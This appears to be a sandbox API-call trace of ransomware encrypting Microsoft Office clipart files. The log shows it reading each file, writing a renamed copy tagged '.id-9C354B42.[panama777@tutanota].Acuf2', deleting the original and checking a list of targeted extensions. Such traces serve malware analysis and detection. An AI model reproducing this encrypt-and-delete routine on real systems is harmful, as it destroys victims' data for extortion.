	[0258.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20
	[0258.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.607] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.607] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0258.607] GetLastError () returned 0x0
	[0258.607] ReadFile (in: hFile=0x220, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1370, lpOverlapped=0x0) returned 1
	[0258.609] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1380, lpOverlapped=0x0) returned 1
	[0258.610] ReadFile (in: hFile=0x220, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.610] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.610] SetEndOfFile (hFile=0x328) returned 1
	[0258.610] CloseHandle (hObject=0x328) returned 1
	[0258.610] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.610] SetEndOfFile (hFile=0x220) returned 1
	[0258.612] CloseHandle (hObject=0x220) returned 1
	[0258.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 1
	[0258.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63
	[0258.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63
	[0258.612] lstrlenW (lpString=".doc") returned 4
	[0258.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.613] lstrlenW (lpString=".docx") returned 5
	[0258.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.613] lstrlenW (lpString=".pdf") returned 4
	[0258.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.613] lstrlenW (lpString=".xls") returned 4
	[0258.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.613] lstrlenW (lpString=".xlsx") returned 5
	[0258.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.613] lstrlenW (lpString=".ppt") returned 4
	[0258.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63
	[0258.613] lstrlenW (lpString=".zip") returned 4
	[0258.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.613] lstrlenW (lpString=".rar") returned 4
	[0258.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.613] lstrlenW (lpString=".bz2") returned 4
	[0258.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.613] lstrlenW (lpString=".7z") returned 3
	[0258.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63
	[0258.613] lstrlenW (lpString=".dbf") returned 4
	[0258.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63
	[0258.613] lstrlenW (lpString=".1cd") returned 4
	[0258.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63
	[0258.613] lstrlenW (lpString=".jpg") returned 4
	[0258.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63
	[0258.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63
	[0258.614] lstrlenW (lpString=".doc") returned 4
	[0258.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.614] lstrlenW (lpString=".docx") returned 5
	[0258.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.614] lstrlenW (lpString=".pdf") returned 4
	[0258.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.614] lstrlenW (lpString=".xls") returned 4
	[0258.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.614] lstrlenW (lpString=".xlsx") returned 5
	[0258.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.614] lstrlenW (lpString=".ppt") returned 4
	[0258.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63
	[0258.614] lstrlenW (lpString=".zip") returned 4
	[0258.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.614] lstrlenW (lpString=".rar") returned 4
	[0258.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.614] lstrlenW (lpString=".bz2") returned 4
	[0258.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.614] lstrlenW (lpString=".7z") returned 3
	[0258.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63
	[0258.614] lstrlenW (lpString=".dbf") returned 4
	[0258.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63
	[0258.614] lstrlenW (lpString=".1cd") returned 4
	[0258.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63
	[0258.614] lstrlenW (lpString=".jpg") returned 4
	[0258.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.615] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0258.615] lstrlenW (lpString="BS00186_.WMF") returned 12
	[0258.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0258.656] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=12788) returned 1
	[0258.656] CloseHandle (hObject=0x35c) returned 1
	[0258.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20
	[0258.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0259.431] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.431] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.503] GetLastError () returned 0x0
	[0259.503] ReadFile (in: hFile=0x354, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x31f4, lpOverlapped=0x0) returned 1
	[0259.505] WriteFile (in: hFile=0x220, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x3200, lpOverlapped=0x0) returned 1
	[0259.506] ReadFile (in: hFile=0x354, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.506] WriteFile (in: hFile=0x220, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.506] SetEndOfFile (hFile=0x220) returned 1
	[0259.506] CloseHandle (hObject=0x220) returned 1
	[0259.506] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.506] SetEndOfFile (hFile=0x354) returned 1
	[0259.508] CloseHandle (hObject=0x354) returned 1
	[0259.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 1
	[0259.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63
	[0259.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63
	[0259.670] lstrlenW (lpString=".doc") returned 4
	[0259.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.670] lstrlenW (lpString=".docx") returned 5
	[0259.670] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.670] lstrlenW (lpString=".pdf") returned 4
	[0259.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.670] lstrlenW (lpString=".xls") returned 4
	[0259.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.670] lstrlenW (lpString=".xlsx") returned 5
	[0259.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.670] lstrlenW (lpString=".ppt") returned 4
	[0259.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63
	[0259.670] lstrlenW (lpString=".zip") returned 4
	[0259.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.670] lstrlenW (lpString=".rar") returned 4
	[0259.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.670] lstrlenW (lpString=".bz2") returned 4
	[0259.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.670] lstrlenW (lpString=".7z") returned 3
	[0259.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63
	[0259.670] lstrlenW (lpString=".dbf") returned 4
	[0259.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63
	[0259.670] lstrlenW (lpString=".1cd") returned 4
	[0259.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63
	[0259.670] lstrlenW (lpString=".jpg") returned 4
	[0259.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63
	[0259.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63
	[0259.671] lstrlenW (lpString=".doc") returned 4
	[0259.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.671] lstrlenW (lpString=".docx") returned 5
	[0259.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.671] lstrlenW (lpString=".pdf") returned 4
	[0259.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.671] lstrlenW (lpString=".xls") returned 4
	[0259.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.671] lstrlenW (lpString=".xlsx") returned 5
	[0259.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.671] lstrlenW (lpString=".ppt") returned 4
	[0259.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63
	[0259.671] lstrlenW (lpString=".zip") returned 4
	[0259.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.671] lstrlenW (lpString=".rar") returned 4
	[0259.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.671] lstrlenW (lpString=".bz2") returned 4
	[0259.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.671] lstrlenW (lpString=".7z") returned 3
	[0259.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63
	[0259.671] lstrlenW (lpString=".dbf") returned 4
	[0259.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63
	[0259.671] lstrlenW (lpString=".1cd") returned 4
	[0259.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63
	[0259.671] lstrlenW (lpString=".jpg") returned 4
	[0259.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.672] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.672] lstrlenW (lpString="BS00444_.WMF") returned 12
	[0259.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0259.704] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3896) returned 1
	[0259.704] CloseHandle (hObject=0x358) returned 1
	[0259.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20
	[0259.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0259.704] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.704] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0259.704] GetLastError () returned 0x0
	[0259.704] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xf38, lpOverlapped=0x0) returned 1
	[0259.707] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xf40, lpOverlapped=0x0) returned 1
	[0259.708] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.708] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.708] SetEndOfFile (hFile=0x35c) returned 1
	[0259.708] CloseHandle (hObject=0x35c) returned 1
	[0259.708] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.708] SetEndOfFile (hFile=0x358) returned 1
	[0259.711] CloseHandle (hObject=0x358) returned 1
	[0259.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 1
	[0259.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63
	[0259.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63
	[0259.711] lstrlenW (lpString=".doc") returned 4
	[0259.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.711] lstrlenW (lpString=".docx") returned 5
	[0259.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.711] lstrlenW (lpString=".pdf") returned 4
	[0259.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.711] lstrlenW (lpString=".xls") returned 4
	[0259.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.711] lstrlenW (lpString=".xlsx") returned 5
	[0259.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.712] lstrlenW (lpString=".ppt") returned 4
	[0259.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63
	[0259.712] lstrlenW (lpString=".zip") returned 4
	[0259.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.712] lstrlenW (lpString=".rar") returned 4
	[0259.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.712] lstrlenW (lpString=".bz2") returned 4
	[0259.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.712] lstrlenW (lpString=".7z") returned 3
	[0259.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63
	[0259.712] lstrlenW (lpString=".dbf") returned 4
	[0259.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63
	[0259.712] lstrlenW (lpString=".1cd") returned 4
	[0259.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63
	[0259.712] lstrlenW (lpString=".jpg") returned 4
	[0259.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63
	[0259.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63
	[0259.712] lstrlenW (lpString=".doc") returned 4
	[0259.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.712] lstrlenW (lpString=".docx") returned 5
	[0259.712] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.712] lstrlenW (lpString=".pdf") returned 4
	[0259.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.712] lstrlenW (lpString=".xls") returned 4
	[0259.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.712] lstrlenW (lpString=".xlsx") returned 5
	[0259.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.713] lstrlenW (lpString=".ppt") returned 4
	[0259.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63
	[0259.713] lstrlenW (lpString=".zip") returned 4
	[0259.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.713] lstrlenW (lpString=".rar") returned 4
	[0259.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.713] lstrlenW (lpString=".bz2") returned 4
	[0259.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.713] lstrlenW (lpString=".7z") returned 3
	[0259.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63
	[0259.713] lstrlenW (lpString=".dbf") returned 4
	[0259.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63
	[0259.713] lstrlenW (lpString=".1cd") returned 4
	[0259.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63
	[0259.713] lstrlenW (lpString=".jpg") returned 4
	[0259.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.713] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.713] lstrlenW (lpString="BS01603_.WMF") returned 12
	[0259.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0259.716] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=7176) returned 1
	[0259.716] CloseHandle (hObject=0x358) returned 1
	[0259.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x20
